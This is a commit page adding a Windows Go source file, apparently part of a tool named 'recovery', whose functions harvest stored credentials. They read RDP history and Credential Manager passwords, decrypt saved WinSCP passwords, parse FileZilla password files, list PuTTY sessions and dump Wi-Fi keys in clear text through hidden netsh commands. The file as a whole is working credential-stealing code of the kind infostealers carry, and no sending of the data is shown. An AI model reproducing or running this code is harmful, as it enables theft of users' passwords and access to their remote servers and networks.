initial commit
This commit is contained in:
@@ -0,0 +1,614 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"encoding/xml"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
"golang.org/x/sys/windows/registry"
|
||||
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
var (
|
||||
advapi32 = syscall.NewLazyDLL("advapi32.dll")
|
||||
procCredEnumerateW = advapi32.NewProc("CredEnumerateW")
|
||||
procCredFree = advapi32.NewProc("CredFree")
|
||||
)
|
||||
|
||||
const (
|
||||
credTypeGeneric = 1
|
||||
credTypeDomainPassword = 2
|
||||
credTypeDomainCertificate = 3
|
||||
)
|
||||
|
||||
type winCredential struct {
|
||||
Flags uint32
|
||||
Type uint32
|
||||
TargetName *uint16
|
||||
Comment *uint16
|
||||
LastWritten syscall.Filetime
|
||||
CredentialBlobSize uint32
|
||||
CredentialBlob *byte
|
||||
Persist uint32
|
||||
AttributeCount uint32
|
||||
Attributes uintptr
|
||||
TargetAlias *uint16
|
||||
UserName *uint16
|
||||
}
|
||||
|
||||
func ScanApps() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
results = append(results, scanRDP()...)
|
||||
results = append(results, scanWinSCP()...)
|
||||
results = append(results, scanPuTTY()...)
|
||||
results = append(results, scanFileZilla()...)
|
||||
results = append(results, scanCredentialManager()...)
|
||||
results = append(results, scanWiFi()...)
|
||||
return results
|
||||
}
|
||||
|
||||
// ── RDP ────────────────────────────────────────────────────────────────
|
||||
|
||||
func scanRDP() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
// Registry: saved connection history with usernames
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err == nil {
|
||||
defer k.Close()
|
||||
servers, _ := k.ReadSubKeyNames(-1)
|
||||
for _, server := range servers {
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Terminal Server Client\Servers\`+server, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
username, _, _ := sk.GetStringValue("UsernameHint")
|
||||
sk.Close()
|
||||
|
||||
r := types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Host: server,
|
||||
Port: 3389,
|
||||
Username: username,
|
||||
Protocol: "rdp",
|
||||
}
|
||||
|
||||
// Try to get the password from Credential Manager
|
||||
pw := credManagerLookup("TERMSRV/" + server)
|
||||
if pw != "" {
|
||||
r.Password = pw
|
||||
}
|
||||
results = append(results, r)
|
||||
}
|
||||
}
|
||||
|
||||
// Also scan Credential Manager for TERMSRV/* entries not in the registry
|
||||
creds := enumCredentials()
|
||||
seen := make(map[string]bool)
|
||||
for _, r := range results {
|
||||
seen[strings.ToLower(r.Host)] = true
|
||||
}
|
||||
for _, c := range creds {
|
||||
target := strings.ToLower(c.target)
|
||||
if !strings.HasPrefix(target, "termsrv/") {
|
||||
continue
|
||||
}
|
||||
host := c.target[len("TERMSRV/"):]
|
||||
if seen[strings.ToLower(host)] {
|
||||
continue
|
||||
}
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Host: host,
|
||||
Port: 3389,
|
||||
Username: c.username,
|
||||
Password: c.password,
|
||||
Protocol: "rdp",
|
||||
})
|
||||
}
|
||||
|
||||
// Scan for .rdp files
|
||||
results = append(results, scanRDPFiles()...)
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func scanRDPFiles() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
home, _ := os.UserHomeDir()
|
||||
if home == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
dirs := []string{
|
||||
filepath.Join(home, "Desktop"),
|
||||
filepath.Join(home, "Documents"),
|
||||
filepath.Join(home, "Downloads"),
|
||||
}
|
||||
|
||||
for _, dir := range dirs {
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, e := range entries {
|
||||
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".rdp") {
|
||||
continue
|
||||
}
|
||||
path := filepath.Join(dir, e.Name())
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil || len(data) == 0 {
|
||||
continue
|
||||
}
|
||||
r := parseRDPFile(string(data))
|
||||
if r.Host != "" {
|
||||
r.Extra = path
|
||||
results = append(results, r)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func parseRDPFile(content string) types.AppCredentialResult {
|
||||
r := types.AppCredentialResult{
|
||||
Application: "RDP",
|
||||
Protocol: "rdp",
|
||||
Port: 3389,
|
||||
}
|
||||
for _, line := range strings.Split(content, "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
parts := strings.SplitN(line, ":", 3)
|
||||
if len(parts) < 3 {
|
||||
continue
|
||||
}
|
||||
key := strings.ToLower(strings.TrimSpace(parts[0]))
|
||||
val := strings.TrimSpace(parts[2])
|
||||
switch key {
|
||||
case "full address":
|
||||
if idx := strings.LastIndex(val, ":"); idx > 0 {
|
||||
if p, err := strconv.Atoi(val[idx+1:]); err == nil {
|
||||
r.Host = val[:idx]
|
||||
r.Port = p
|
||||
continue
|
||||
}
|
||||
}
|
||||
r.Host = val
|
||||
case "username":
|
||||
r.Username = val
|
||||
case "server port":
|
||||
if p, err := strconv.Atoi(val); err == nil {
|
||||
r.Port = p
|
||||
}
|
||||
}
|
||||
}
|
||||
return r
|
||||
}
|
||||
|
||||
// ── WinSCP ─────────────────────────────────────────────────────────────
|
||||
|
||||
func scanWinSCP() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
sessions, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sess := range sessions {
|
||||
if sess == "Default%20Settings" {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\Martin Prikryl\WinSCP 2\Sessions\`+sess, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hostname, _, _ := sk.GetStringValue("HostName")
|
||||
username, _, _ := sk.GetStringValue("UserName")
|
||||
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
||||
encPassword, _, _ := sk.GetStringValue("Password")
|
||||
fsProtocol, _, _ := sk.GetIntegerValue("FSProtocol")
|
||||
sk.Close()
|
||||
|
||||
if hostname == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
port := int(portNum)
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
|
||||
protocol := "sftp"
|
||||
switch fsProtocol {
|
||||
case 0:
|
||||
protocol = "sftp"
|
||||
case 5:
|
||||
protocol = "ftp"
|
||||
case 1:
|
||||
protocol = "scp"
|
||||
}
|
||||
|
||||
password := ""
|
||||
if encPassword != "" {
|
||||
password = decryptWinSCPPassword(encPassword, hostname, username)
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WinSCP",
|
||||
Host: hostname,
|
||||
Port: port,
|
||||
Username: username,
|
||||
Password: password,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
func decryptWinSCPPassword(hex, hostname, username string) string {
|
||||
key := username + hostname
|
||||
|
||||
decNextChar := func(s string, idx int) (byte, int) {
|
||||
if idx+2 > len(s) {
|
||||
return 0, idx + 2
|
||||
}
|
||||
a, err1 := strconv.ParseUint(string(s[idx]), 16, 8)
|
||||
b, err2 := strconv.ParseUint(string(s[idx+1]), 16, 8)
|
||||
if err1 != nil || err2 != nil {
|
||||
return 0, idx + 2
|
||||
}
|
||||
return byte(0xFF ^ ((a<<4 | b) ^ 0xA3)), idx + 2
|
||||
}
|
||||
|
||||
idx := 0
|
||||
flag, idx := decNextChar(hex, idx)
|
||||
|
||||
if flag == 0xFF {
|
||||
return ""
|
||||
}
|
||||
|
||||
_, idx = decNextChar(hex, idx) // skip unused byte
|
||||
|
||||
length, idx := decNextChar(hex, idx)
|
||||
|
||||
delLen, idx := decNextChar(hex, idx)
|
||||
for i := 0; i < int(delLen); i++ {
|
||||
_, idx = decNextChar(hex, idx)
|
||||
}
|
||||
|
||||
raw := make([]byte, 0, int(length))
|
||||
for i := 0; i < int(length); i++ {
|
||||
c, newIdx := decNextChar(hex, idx)
|
||||
idx = newIdx
|
||||
raw = append(raw, c)
|
||||
}
|
||||
|
||||
if len(key) > 0 {
|
||||
decrypted := make([]byte, len(raw))
|
||||
for i, c := range raw {
|
||||
decrypted[i] = c ^ key[i%len(key)]
|
||||
}
|
||||
return string(decrypted)
|
||||
}
|
||||
|
||||
return string(raw)
|
||||
}
|
||||
|
||||
// ── PuTTY ──────────────────────────────────────────────────────────────
|
||||
|
||||
func scanPuTTY() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions`, registry.ENUMERATE_SUB_KEYS|registry.READ)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
|
||||
sessions, _ := k.ReadSubKeyNames(-1)
|
||||
for _, sess := range sessions {
|
||||
if sess == "Default%20Settings" {
|
||||
continue
|
||||
}
|
||||
sk, err := registry.OpenKey(registry.CURRENT_USER, `Software\SimonTatham\PuTTY\Sessions\`+sess, registry.READ)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
hostname, _, _ := sk.GetStringValue("HostName")
|
||||
username, _, _ := sk.GetStringValue("UserName")
|
||||
portNum, _, _ := sk.GetIntegerValue("PortNumber")
|
||||
protocol, _, _ := sk.GetStringValue("Protocol")
|
||||
keyFile, _, _ := sk.GetStringValue("PublicKeyFile")
|
||||
proxyHost, _, _ := sk.GetStringValue("ProxyHost")
|
||||
sk.Close()
|
||||
|
||||
if hostname == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
port := int(portNum)
|
||||
if port == 0 {
|
||||
port = 22
|
||||
}
|
||||
if protocol == "" {
|
||||
protocol = "ssh"
|
||||
}
|
||||
|
||||
extra := ""
|
||||
if keyFile != "" || proxyHost != "" {
|
||||
parts := []string{}
|
||||
if keyFile != "" {
|
||||
parts = append(parts, "key:"+keyFile)
|
||||
}
|
||||
if proxyHost != "" {
|
||||
parts = append(parts, "proxy:"+proxyHost)
|
||||
}
|
||||
extra = strings.Join(parts, "; ")
|
||||
}
|
||||
|
||||
// URL-decode session name for display purposes
|
||||
decodedName := strings.ReplaceAll(sess, "%20", " ")
|
||||
_ = decodedName
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "PuTTY",
|
||||
Host: hostname,
|
||||
Port: port,
|
||||
Username: username,
|
||||
Protocol: protocol,
|
||||
Extra: extra,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── FileZilla ──────────────────────────────────────────────────────────
|
||||
|
||||
type fzServer struct {
|
||||
XMLName xml.Name `xml:"Server"`
|
||||
Host string `xml:"Host"`
|
||||
Port int `xml:"Port"`
|
||||
Protocol int `xml:"Protocol"`
|
||||
User string `xml:"User"`
|
||||
Pass string `xml:"Pass"`
|
||||
}
|
||||
|
||||
type fzSiteManager struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServer `xml:"Servers>Server"`
|
||||
}
|
||||
|
||||
type fzRecentServers struct {
|
||||
XMLName xml.Name `xml:"FileZilla3"`
|
||||
Servers []fzServer `xml:"RecentServers>Server"`
|
||||
}
|
||||
|
||||
func scanFileZilla() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
appdata := os.Getenv("APPDATA")
|
||||
if appdata == "" {
|
||||
return nil
|
||||
}
|
||||
fzDir := filepath.Join(appdata, "FileZilla")
|
||||
|
||||
for _, file := range []string{"sitemanager.xml", "recentservers.xml"} {
|
||||
path := filepath.Join(fzDir, file)
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
var servers []fzServer
|
||||
if file == "sitemanager.xml" {
|
||||
var sm fzSiteManager
|
||||
if xml.Unmarshal(data, &sm) == nil {
|
||||
servers = sm.Servers
|
||||
}
|
||||
} else {
|
||||
var rs fzRecentServers
|
||||
if xml.Unmarshal(data, &rs) == nil {
|
||||
servers = rs.Servers
|
||||
}
|
||||
}
|
||||
|
||||
for _, s := range servers {
|
||||
if s.Host == "" {
|
||||
continue
|
||||
}
|
||||
port := s.Port
|
||||
if port == 0 {
|
||||
port = 21
|
||||
}
|
||||
protocol := "ftp"
|
||||
switch s.Protocol {
|
||||
case 1:
|
||||
protocol = "sftp"
|
||||
case 3, 4:
|
||||
protocol = "ftps"
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "FileZilla",
|
||||
Host: s.Host,
|
||||
Port: port,
|
||||
Username: s.User,
|
||||
Password: s.Pass,
|
||||
Protocol: protocol,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── Windows Credential Manager ─────────────────────────────────────────
|
||||
|
||||
type credEntry struct {
|
||||
target string
|
||||
username string
|
||||
password string
|
||||
credType uint32
|
||||
}
|
||||
|
||||
func enumCredentials() []credEntry {
|
||||
var count uint32
|
||||
var credsPtr uintptr
|
||||
|
||||
ret, _, _ := procCredEnumerateW.Call(
|
||||
0,
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&count)),
|
||||
uintptr(unsafe.Pointer(&credsPtr)),
|
||||
)
|
||||
if ret == 0 || count == 0 {
|
||||
return nil
|
||||
}
|
||||
defer procCredFree.Call(credsPtr)
|
||||
|
||||
var results []credEntry
|
||||
for i := uint32(0); i < count; i++ {
|
||||
entryPtr := *(*uintptr)(unsafe.Pointer(credsPtr + uintptr(i)*unsafe.Sizeof(uintptr(0))))
|
||||
c := (*winCredential)(unsafe.Pointer(entryPtr))
|
||||
target := windows.UTF16PtrToString(c.TargetName)
|
||||
username := ""
|
||||
if c.UserName != nil {
|
||||
username = windows.UTF16PtrToString(c.UserName)
|
||||
}
|
||||
password := ""
|
||||
if c.CredentialBlobSize > 0 && c.CredentialBlob != nil {
|
||||
blob := unsafe.Slice(c.CredentialBlob, c.CredentialBlobSize)
|
||||
password = string(blob)
|
||||
}
|
||||
results = append(results, credEntry{
|
||||
target: target,
|
||||
username: username,
|
||||
password: password,
|
||||
credType: c.Type,
|
||||
})
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func credManagerLookup(target string) string {
|
||||
target = strings.ToLower(target)
|
||||
for _, c := range enumCredentials() {
|
||||
if strings.ToLower(c.target) == target {
|
||||
return c.password
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func scanCredentialManager() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
for _, c := range enumCredentials() {
|
||||
target := strings.ToLower(c.target)
|
||||
// Skip TERMSRV entries (already handled by RDP scanner)
|
||||
if strings.HasPrefix(target, "termsrv/") {
|
||||
continue
|
||||
}
|
||||
// Skip entries with no useful data
|
||||
if c.username == "" && c.password == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
typeName := "generic"
|
||||
switch c.credType {
|
||||
case credTypeDomainPassword:
|
||||
typeName = "domain"
|
||||
case credTypeDomainCertificate:
|
||||
typeName = "certificate"
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "CredManager",
|
||||
Host: c.target,
|
||||
Username: c.username,
|
||||
Password: c.password,
|
||||
Protocol: typeName,
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
// ── WiFi ───────────────────────────────────────────────────────────────
|
||||
|
||||
func scanWiFi() []types.AppCredentialResult {
|
||||
var results []types.AppCredentialResult
|
||||
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profiles")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
var profiles []string
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if idx := strings.Index(line, ": "); idx >= 0 {
|
||||
lower := strings.ToLower(line[:idx])
|
||||
if strings.Contains(lower, "all user profile") || strings.Contains(lower, "profil") {
|
||||
name := strings.TrimSpace(line[idx+2:])
|
||||
if name != "" {
|
||||
profiles = append(profiles, name)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, name := range profiles {
|
||||
cmd := exec.Command("netsh", "wlan", "show", "profile", fmt.Sprintf("name=%s", name), "key=clear")
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
|
||||
out, err := cmd.Output()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
password := ""
|
||||
auth := ""
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
line = strings.TrimSpace(line)
|
||||
if idx := strings.Index(line, ": "); idx >= 0 {
|
||||
lower := strings.ToLower(line[:idx])
|
||||
val := strings.TrimSpace(line[idx+2:])
|
||||
if strings.Contains(lower, "key content") || strings.Contains(lower, "contenu") {
|
||||
password = val
|
||||
} else if strings.Contains(lower, "authentication") || strings.Contains(lower, "authentification") {
|
||||
auth = val
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
results = append(results, types.AppCredentialResult{
|
||||
Application: "WiFi",
|
||||
Host: name,
|
||||
Username: auth,
|
||||
Password: password,
|
||||
Protocol: "wifi",
|
||||
})
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
Reference in New Issue
Block a user